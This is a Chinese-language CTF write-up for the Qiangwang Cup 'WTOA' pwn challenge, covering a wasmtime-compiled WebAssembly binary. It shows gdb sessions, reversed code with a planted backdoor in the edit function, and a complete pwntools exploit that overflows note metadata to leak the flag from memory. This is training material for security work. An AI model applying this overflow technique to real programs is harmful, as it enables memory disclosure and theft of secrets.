news 2026/8/28 6:13:56

第七届强网杯-PWN-【WTOA】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第七届强网杯-PWN-【WTOA】

文章目录

    • 参考
    • WebAssembly
    • Wasmtime
    • 调试
    • 逆向源码
    • exp

参考

WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例

WebAssembly

WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。

WebAssembly本来的设计初衷是想让浏览器可以运行C语言这种编译型语言的代码。通常我们的C语言代码会使用gcc或clang等编译器直接编译链接成与平台相关的二进制可执行文件,这种与平台相关的二进制文件浏览器是无法直接运行的。如果想让浏览器运行C语言代码,就需要使用可将C语言编译成WebAssembly指令的编译器,编译好的代码是wasm格式。然后就可以使用各种wasm运行时来执行wasm代码,这就类似于JVM虚拟机执行class文件。

由于指令集和运行时环境本身与web场景并不绑定,因此随着后来的发展,WebAssembly指令集出现了可以脱离浏览器的独立运行时环境,WebAssembly的用途也变得更加广泛。

Wasmtime

相比于浏览器的运行时,wasmtime是一个独立运行时环境,它可以脱离Web环境来执行wasm代码。它本身提供了命令行工具和API两种方式来执行wasm代码。

启动时候flag作为环境变量在内存,这里是通过AOT 编译wasm 代码为ELF,所以通过--allow-precompiled来运行

./wasmtime run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

调试

gdb ./wasmtimesetargs run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

发现flag和add后输入的content很接近

pwndbg>search flag{Searchingforvalue:'flag{'[heap]0x555556fac865'flag{zhiyinnitaimei}@'[heap]0x555556fc91c0'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2b40'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2c6d'flag{zhiyinnitaimei}'[stack]0x7fffffffe19b'flag{zhiyinnitaimei}'pwndbg>search aaaaaaaa Searchingforvalue:'aaaaaaaa'[anon_7ffe77bb3]0x7ffe780b2cc0'aaaaaaaa'pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2c6d 0x53 does not belong to a mapped pageinmemory pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2b40 0x180 does not belong to a mapped pageinmemory pwndbg>

wtoa的代码段是在wtoa偏移0x1000开始,所以记得函数断点0x7ffff7bfc000+IDA中的地址-0x1000

0x7ffff7bfc000 0x7ffff7c08000 r-xp c0001000/home/llk/Desktop/pwn/attachment/glibc_pwn/2023qwb_WTOA/WTOA/wtoa

逆向源码

把wasm格式文件放入IDA

IDA View->Graphs->Function Calls

找到分支比较多的可能是主函数,然后查看,并结合调试和字符串定位来逆向

调试发现输入Add后如下,应该只能截取两个字节,然后高字节减去A来得到对应的choice,并且flag在下面不远处

0x7ffff7bfd337 call 0x7ffff7bfeef0<0x7ffff7bfeef0>► 0x7ffff7bfd33c movsx r8, byte ptr[rbx + r15 + 0x10]R8,[0x7ffe780b2b20]=>0x41 0x7ffff7bfd342addr8d,-0x41R8D=>0(0x41 + 0xffffffffffffffbf)x/40s 0x7ffe780b2b20 0x7ffe780b2b20:"Ad"0x7ffe780b2b23:""0x7ffe780b2b24:""0x7ffe780b2b25:""0x7ffe780b2b26:""0x7ffe780b2b27:""0x7ffe780b2b28:""0x7ffe780b2b29:""0x7ffe780b2b2a:""0x7ffe780b2b2b:""0x7ffe780b2b2c:""0x7ffe780b2b2d:""0x7ffe780b2b2e:""0x7ffe780b2b2f:""0x7ffe780b2b30:""0x7ffe780b2b31:""0x7ffe780b2b32:""0x7ffe780b2b33:""0x7ffe780b2b34:""0x7ffe780b2b35:""0x7ffe780b2b36:""0x7ffe780b2b37:""0x7ffe780b2b38:""0x7ffe780b2b39:""0x7ffe780b2b3a:""0x7ffe780b2b3b:""0x7ffe780b2b3c:"m\034P"0x7ffe780b2b40:"flag{zhiyinnitaimei}"0x7ffe780b2b55:""

根据字符串定位时发现没有引用的,后来发现是通过偏移的,发现第 3 个参数原来是 .rodata.wasm 段内的偏移值

print(v6, v6, 0x46FLL, 0LL);// size .rodata.wasm:000000000001B46F aSize db'size > ',0

然后结合字符串和上下文和动态调试可以猜出所有函数的作用

大概是每次进入函数都会先模拟开辟栈空间,然后调用其中的变量

大致管理如下

可以发现第0个chunk_struct的content_offset在第1个chunk_struct上面

结合edit存在的后门,当 len == 0x345231会写48个字节,但只能写一次,所以利用一次得到flag

getinput(a1,a1,0LL,v20-48,31);len=set_to_chunk(a1,a1,v20-48);*(base+v4+36)=len;if(len==0x345231){if(*(base+4016)==1){v14=*(base+v4+44);*(base+v4+4)=*(base+v4+40);*(base+v4)=v14;print(a1,a1,0x4DELL,(v20-96));// content for note[%lu] with offset [%lu] >save(a1,a1,*(v19+40)+*(base+*(base+(*(base+*(v19+92)+4)+4**(base+v4+44)))),48);*(base+4016)=0;gotoLABEL_15;}v13=base+v4;}

根据上述缓存区是在chunk_struct 2上方,结合溢出,可将content_offset起改为flag的偏移,然后show可以泄露处flag,当然长度不够,再把size改大就行

发现开了随机话后偏移不变,改为flag的偏移即可

exp

frompwnimport*context(os="linux",arch="amd64",log_level="debug")p=process('wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa'.split(' '))gdb.attach(p)pause()p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[0] > ",8*str("a"))p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[1] > ",8*str("b"))p.sendlineafter(b"Choice > ",str("E"))p.sendlineafter(b"index > ",str("0"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("3428913"))p.sendlineafter(b"content for note[0] with offset [0] > ",b"a"*32+p64(0x501b40)+p64(0x20))p.sendlineafter(b"Choice > ",str("S"))p.sendlineafter(b"index > ",str("1"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("32"))p.recvuntil(b"content for note[1] with offset [0] > ")flag=p.recv(timeout=2)print(flag)p.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/22 0:12:57

Silodosin Glucuronide D4:氘标记代谢物研究关键标准品

Silodosin Glucuronide D4 是一种经过稳定同位素标记的葡糖醛酸代谢物&#xff0c;专为药物代谢与药代动力学研究设计。作为西洛多辛的主要代谢产物之一&#xff0c;其氘代形式在质谱分析中扮演着关键内标角色&#xff0c;为定量分析提供卓越的准确性与重现性&#xff0c;是支撑…

作者头像 李华
网站建设 2026/8/22 3:01:22

研究生必备AI论文降重指南:8款工具实测,AI率从81%降至9%!

如果你是正在熬夜赶Deadline的研究生——导师催稿消息弹满微信、知网查重一次花掉半个月奶茶钱、AI生成的初稿被系统标红80%、社科问卷设计改了十版还没通过伦理审查……那这篇文章就是为你写的。 作为刚经历过“论文渡劫”的研三学长&#xff0c;我太懂这种焦虑&#xff1a;明…

作者头像 李华
网站建设 2026/8/27 3:39:56

返利app性能监控体系:从应用指标到业务指标的全方位监控

返利app性能监控体系&#xff1a;从应用指标到业务指标的全方位监控 大家好&#xff0c;我是省赚客APP研发者阿宝&#xff01; 在省赚客这类高并发返利平台中&#xff0c;仅监控CPU、内存等基础设施指标远远不够。用户是否成功领取返利&#xff1f;订单同步是否延迟&#xff1f…

作者头像 李华
网站建设 2026/8/26 4:26:41

GLM-TTS能否用于婚礼录像后期?补录缺失旁白语音

GLM-TTS能否用于婚礼录像后期&#xff1f;补录缺失旁白语音 在一场婚礼视频剪辑过程中&#xff0c;最令人遗憾的莫过于画面清晰、情感真挚&#xff0c;却因录音设备故障或环境干扰导致关键环节——比如主持人开场、新人誓言、父母致辞——音频丢失。传统解决方案通常是请人“模…

作者头像 李华
网站建设 2026/8/22 0:13:03

target_include_directories的作用

target_include_directories(${PROJECT_NAME} PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})为指定的目标&#xff08;${PROJECT_NAME}&#xff09;添加一个包含目录 (${CMAKE_CURRENT_SOURCE_DIR})&#xff0c;并且作用范围是仅限于该目标的编译过程。PRIVATE表示该包含目录仅在 ${PR…

作者头像 李华
网站建设 2026/8/22 0:13:02

语音合成与知识图谱联动:实体关系转化为口语化解释

语音合成与知识图谱联动&#xff1a;实体关系转化为口语化解释 在智能教育平台开发中&#xff0c;一个常见的挑战浮现出来&#xff1a;如何让AI讲解“爱因斯坦提出相对论”这件事时&#xff0c;不只是干巴巴地读出这句话&#xff0c;而是像一位真正的老师那样&#xff0c;用合…

作者头像 李华